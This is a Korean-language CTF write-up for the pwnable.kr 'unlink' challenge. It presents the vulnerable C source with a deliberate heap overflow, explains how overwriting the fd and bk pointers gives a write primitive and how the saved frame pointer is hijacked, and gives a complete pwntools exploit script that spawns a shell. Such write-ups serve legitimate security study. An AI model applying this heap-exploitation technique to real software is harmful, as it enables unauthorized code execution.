[pwnable.kr] unlink

2018. 8. 1. 18:02

오늘로 pwnable.kr [Toddler's Bottle] 클리어입니다~~!!


후... 꽤 오래걸렸네여



unlink라고 하는 걸 보니, heap과 관련된 문제일것 같습니다.



unlink corruption~~

unlink 문제입니다. heap overflow와 관련되있어서 공부를 조금 했습니다.



접속하면 4개의 파일이 있는데, flag 및 intended_solution.txt의 권한이 unlink_pwn의 권한으로 되어있어 읽지를 못합니다.

그래서 unlink파일을 통해 읽어줘야하는데, 먼저 소스를 보면 아래와 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n"&A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}
 
 
cs


보통은 unlink 버그는 free를 하면서 일어나는데, 여기서는 free를 하는 대신 unlink라는 함수를 따로 정의하여 사용하고 있습니다.


여기서 문제가 되는 부분은 이부분입니다.


1
2
3
4
5
6
7
8
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
cs


unlink(B)를 수행하여 B와 A<=>B<=>C의 연결을 끓어 A<=>C B   로 만들려는 것인데,

그 전에 gets(A->buf)함수를 통해 overflow가 발생하여, B의 fd값과 bk값을 덮을 수 있어


원하는 곳에 원하는 값을 덮을 수 있게 됩니다.


fd+4 = bk

bk = fd


가 되기 때문에, fd에 RET-4의 주소를 넣고, bk에 Shell의 주소를 넣으면 될것같았는데,

bk = fd 이 부분에서 bk가 Code영역에 있는 Shell의 주소라면 이 곳에 fd를 덮어쓰려고하면, 세그먼트폴트가 뜨기때문에 이렇게 해서 ret를 덮을 수 없습니다.


그래서 처음에는 Shellcode를 이용해서 call이나 jmp를 하려했으나....



나중에 깨달았지만.... NX가 걸려있더군여 ㅡㅡ;

덕분에 뻘짓만 엄청하고 다시 원점으로 돌아와서....


ret를 직접적으로 못 건드리니 unlink함수에 들어갔을 때 SFP를 조작하여, main의 esp값을 조작하기로 했습니다.

ebp를 조작하여 heap에 할당된 데이터영역(buf)를 새로운 스택으로 삼아 eip에 shell의 주소를 넣으면 됩니다.


그래서 ebp만 조작하다보니, main의 에필로그가 조금 다르더군여...



ecx에 ebp-0x4의 값을 저장시키고, ecx-0x4의 주소를 esp에 넣고 ret합니다.

ㅁㄴㅇㄹ... 이미 위에서 다르게 조작하는 저는 조금 다르게 payload가 짜였습니다.


다른분들은 진작에 main 에필로그가 다르단걸 깨닫고 ebp-0x4부분만 잘 덮어주셨네요 ㅇㅇ..


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
 
= ssh(user='unlink',host='pwnable.kr',port=2222,password='guest')
conn = s.process("./unlink")
#conn = process("./unlink")
 
conn.recvuntil("here is stack address leak: ")
stack_addr = int(conn.recvline().strip(),16)
ret_addr = stack_addr+40
 
conn.recvuntil("here is heap address leak: ")
heap_addr = int(conn.recvline().strip(),16)
log.info("stack : "+hex(ret_addr))
log.info("heap  : "+hex(heap_addr))
 
shell_address = 0x80484eb
ebp_addr = stack_addr-0x1c
fake_ebp = heap_addr+16
 
payload = p32(shell_address)+p32(fake_ebp-4)+"A"*8
payload += p32(fake_ebp) #fd  fd+4=bk
payload += p32(ebp_addr) #bk  bk = fd
 
conn.sendline(payload)
 
conn.interactive()
 
cs



위와 같이 하면 flag를 얻을 수 있습니다.




이게 의도했던 정답!


크게 다를건 없지만... 뭐 상관은 없습니다.

이걸로 [Toddler's Bottle] 클리어~~




'Wargame > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] horcruxes  (2) 2018.08.20
[pwnable.kr] blukat  (0) 2018.08.20
[pwnable.kr] memcpy  (0) 2018.07.27
[pwnable.kr] asm  (0) 2018.07.27
[pwnable.kr] leg  (0) 2018.06.08

+ Recent posts